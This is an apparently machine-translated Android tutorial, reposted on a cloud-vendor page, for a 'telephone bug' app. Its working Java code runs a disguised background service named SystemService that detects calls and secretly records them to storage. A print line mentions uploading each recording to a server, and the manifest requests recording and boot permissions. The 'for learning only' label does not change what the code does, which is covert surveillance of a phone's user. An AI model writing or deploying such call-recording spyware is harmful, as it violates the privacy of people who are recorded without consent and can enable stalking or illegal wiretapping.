Android phone listening applets (for learning only ),

Source: Internet
Author: User

Android phone listening applets (for learning only ),

To write this applet, you must first understand how the background services of Android are implemented. Service is one of the four major components of Android.
Secondly, you need to understand the process management of Android. Although the program is invisible after an android program is closed, the process of the program is often not killed to facilitate the next startup, however, the memory resources are limited and it is impossible to keep the thread status in the memory without limit. Therefore, Android uses the task stack method to manage processes. When memory resources are insufficient, the resources are released by killing processes with lower priority in the task stack.
Android has five process priorities:
1. Foreground process (Foreground process) processes currently in use by the user
2. the Visible process user can see the current process interface, but this process is not necessarily in use by the user
3. The Service components of the Service process user program run in the background
4. No service components are running in the Background process application, and the program is in the minimized state.
5. The Empty process does not have any activity.
The priority is reduced from top to bottom. If the task stack first kills the process, it must first kill the empty process.

The implementation of a telephone bug is to maintain a Service in the background to monitor the user's call status, recording the phone.

1. Intent is generally used to start background services, and implicit Intent is used.

// Enable the service. Intent intent = new Intent (this, SystemService. class); startService (intent );}
// Stop the service. Intent intent = new Intent (this, SystemService. class); stopService (intent );

2. SystemService is a function class that we implement and inherits from the Service.

Public class SystemService extends Service {// telephone manager private TelephonyManager tm; // listener object private MyListener listener; // declare the recorder private MediaRecorder mediaRecorder; @ Override public IBinder onBind (Intent intent) {return null;} // method called when the service is created @ Override public void onCreate () {// The call status of the background listening phone. // Obtain the Phone Manager tm = (TelephonyManager) this. getSystemService (TELEPHONY_SERVICE); listener = new MyListener (); tm. listen (listener, PhoneStateListener. LISTEN_CALL_STATE); super. onCreate ();} private class MyListener extends PhoneStateListener {// method called when the call status of the phone changes @ Override public void onCallStateChanged (int state, String incomingNumber) {super. onCallStateChanged (state, incomingNumber); try {switc H (state) {case TelephonyManager. CALL_STATE_IDLE: // idle status. If (mediaRecorder! = Null) {// 8. stop capturing mediaRecorder. stop (); // 9. release the resource mediaRecorder. release (); mediaRecorder = null; System. out. println ("after recording, upload the file to the server. ");} Break; case TelephonyManager. CALL_STATE_RINGING: // zero response. Break; case TelephonyManager. CALL_STATE_OFFHOOK: // call status // start recording // 1. instantiate a recorder mediaRecorder = new MediaRecorder (); // 2. specifies the sound source mediaRecorder of the recorder. setAudioSource (MediaRecorder. audioSource. MIC); // 3. sets the output format of the recorded file mediaRecorder. setOutputFormat (MediaRecorder. outputFormat. DEFAULT); // 4. file = new file (Environment. getExternalStorageDirectory (), System. currentTimeMillis () + ". 3gp "); mediaRecorder. setOutputFile (file. getAbsolutePath (); // 5. sets the Audio Encoding mediaRecorder. setAudioEncoder (MediaRecorder. audioEncoder. DEFAULT); // 6. prepare to start the recording mediaRecorder. prepare (); // 7. start the recording mediaRecorder. start (); break;} catch (Exception e) {e. printStackTrace () ;}}// method called when the service is destroyed @ Override public void onDestroy () {super. onDestroy (); // Cancel the call listening System. out. println ("ondestory"); tm. listen (listener, PhoneStateListener. LISTEN_NONE); listener = null ;}}

3. Configure the Service in AndroidMainfest. xml.

  <service android:name="com.itheima.phonelistener.SystemService" ></service>   

4. Permission-related.

<uses-permission android:name="android.permission.READ_PHONE_STATE" /><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /><uses-permission android:name="android.permission.RECORD_AUDIO" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.